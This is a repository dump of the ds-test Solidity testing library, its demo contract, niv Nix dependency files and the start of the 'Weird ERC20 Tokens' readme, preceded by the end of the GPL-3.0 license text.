propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/nix/sources.json
================================================
{
"dapptools": {
"branch": "master",
"description": "Dapp, Seth, Hevm, and more",
"homepage": "https://dapp.tools",
"owner": "dapphub",
"repo": "dapptools",
"rev": "d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3",
"sha256": "1dxzygjqkvx5327vv4wf8wnjr31m6s7jg7841760qplzw965xna0",
"type": "tarball",
"url": "https://github.com/dapphub/dapptools/archive/d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3.tar.gz",
"url_template": "https://github.com///archive/.tar.gz"
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/nix/sources.nix
================================================
# This file has been generated by Niv.
let
#
# The fetchers. fetch_ fetches specs of type .
#
fetch_file = pkgs: name: spec:
let
name' = sanitizeName name + "-src";
in
if spec.builtin or true then
builtins_fetchurl { inherit (spec) url sha256; name = name'; }
else
pkgs.fetchurl { inherit (spec) url sha256; name = name'; };
fetch_tarball = pkgs: name: spec:
let
name' = sanitizeName name + "-src";
in
if spec.builtin or true then
builtins_fetchTarball { name = name'; inherit (spec) url sha256; }
else
pkgs.fetchzip { name = name'; inherit (spec) url sha256; };
fetch_git = name: spec:
let
ref =
if spec ? ref then spec.ref else
if spec ? branch then "refs/heads/${spec.branch}" else
if spec ? tag then "refs/tags/${spec.tag}" else
abort "In git source '${name}': Please specify `ref`, `tag` or `branch`!";
in
builtins.fetchGit { url = spec.repo; inherit (spec) rev; inherit ref; };
fetch_local = spec: spec.path;
fetch_builtin-tarball = name: throw
''[${name}] The niv type "builtin-tarball" is deprecated. You should instead use `builtin = true`.
$ niv modify ${name} -a type=tarball -a builtin=true'';
fetch_builtin-url = name: throw
''[${name}] The niv type "builtin-url" will soon be deprecated. You should instead use `builtin = true`.
$ niv modify ${name} -a type=file -a builtin=true'';
#
# Various helpers
#
# https://github.com/NixOS/nixpkgs/pull/83241/files#diff-c6f540a4f3bfa4b0e8b6bafd4cd54e8bR695
sanitizeName = name:
(
concatMapStrings (s: if builtins.isList s then "-" else s)
(
builtins.split "[^[:alnum:]+._?=-]+"
((x: builtins.elemAt (builtins.match "\\.*(.*)" x) 0) name)
)
);
# The set of packages used when specs are fetched using non-builtins.
mkPkgs = sources: system:
let
sourcesNixpkgs =
import (builtins_fetchTarball { inherit (sources.nixpkgs) url sha256; }) { inherit system; };
hasNixpkgsPath = builtins.any (x: x.prefix == "nixpkgs") builtins.nixPath;
hasThisAsNixpkgsPath = == ./.;
in
if builtins.hasAttr "nixpkgs" sources
then sourcesNixpkgs
else if hasNixpkgsPath && ! hasThisAsNixpkgsPath then
import {}
else
abort
''
Please specify either (through -I or NIX_PATH=nixpkgs=...) or
add a package called "nixpkgs" to your sources.json.
'';
# The actual fetching function.
fetch = pkgs: name: spec:
if ! builtins.hasAttr "type" spec then
abort "ERROR: niv spec ${name} does not have a 'type' attribute"
else if spec.type == "file" then fetch_file pkgs name spec
else if spec.type == "tarball" then fetch_tarball pkgs name spec
else if spec.type == "git" then fetch_git name spec
else if spec.type == "local" then fetch_local spec
else if spec.type == "builtin-tarball" then fetch_builtin-tarball name
else if spec.type == "builtin-url" then fetch_builtin-url name
else
abort "ERROR: niv spec ${name} has unknown type ${builtins.toJSON spec.type}";
# If the environment variable NIV_OVERRIDE_${name} is set, then use
# the path directly as opposed to the fetched source.
replace = name: drv:
let
saneName = stringAsChars (c: if isNull (builtins.match "[a-zA-Z0-9]" c) then "_" else c) name;
ersatz = builtins.getEnv "NIV_OVERRIDE_${saneName}";
in
if ersatz == "" then drv else ersatz;
# Ports of functions for older nix versions
# a Nix version of mapAttrs if the built-in doesn't exist
mapAttrs = builtins.mapAttrs or (
f: set: with builtins;
listToAttrs (map (attr: { name = attr; value = f attr set.${attr}; }) (attrNames set))
);
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/lists.nix#L295
range = first: last: if first > last then [] else builtins.genList (n: first + n) (last - first + 1);
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L257
stringToCharacters = s: map (p: builtins.substring p 1 s) (range 0 (builtins.stringLength s - 1));
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L269
stringAsChars = f: s: concatStrings (map f (stringToCharacters s));
concatMapStrings = f: list: concatStrings (map f list);
concatStrings = builtins.concatStringsSep "";
# https://github.com/NixOS/nixpkgs/blob/8a9f58a375c401b96da862d969f66429def1d118/lib/attrsets.nix#L331
optionalAttrs = cond: as: if cond then as else {};
# fetchTarball version that is compatible between all the versions of Nix
builtins_fetchTarball = { url, name ? null, sha256 }@attrs:
let
inherit (builtins) lessThan nixVersion fetchTarball;
in
if lessThan nixVersion "1.12" then
fetchTarball ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))
else
fetchTarball attrs;
# fetchurl version that is compatible between all the versions of Nix
builtins_fetchurl = { url, name ? null, sha256 }@attrs:
let
inherit (builtins) lessThan nixVersion fetchurl;
in
if lessThan nixVersion "1.12" then
fetchurl ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))
else
fetchurl attrs;
# Create the final "sources" from the config
mkSources = config:
mapAttrs (
name: spec:
if builtins.hasAttr "outPath" spec
then abort
"The values in sources.json should not have an 'outPath' attribute"
else
spec // { outPath = replace name (fetch config.pkgs name spec); }
) config.sources;
# The "config" used by the fetchers
mkConfig =
{ sourcesFile ? if builtins.pathExists ./sources.json then ./sources.json else null
, sources ? if isNull sourcesFile then {} else builtins.fromJSON (builtins.readFile sourcesFile)
, system ? builtins.currentSystem
, pkgs ? mkPkgs sources system
}: rec {
# The sources, i.e. the attribute set of spec name to spec
inherit sources;
# The "pkgs" (evaluated nixpkgs) to use for e.g. non-builtin fetchers
inherit pkgs;
};
in
mkSources (mkConfig {}) // { __functor = _: settings: mkSources (mkConfig settings); }
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/readme.md
================================================
# Weird ERC20 Tokens
This repository contains minimal example implementations in Solidity of ERC20 tokens with behaviour
that may be surprising or unexpected. All the tokens in this repo are based on real tokens, many of
which have been used to exploit smart contract systems in the past. It is hoped that these example
implementations will be of use to developers and auditors.
The `ERC20` "specification" is so loosely defined that it amounts to little more than an interface
declaration, and even the few semantic requirements that are imposed are routinely violated by token
developers in the wild.
This makes building smart contracts that interface directly with ERC20 tokens challenging to say the
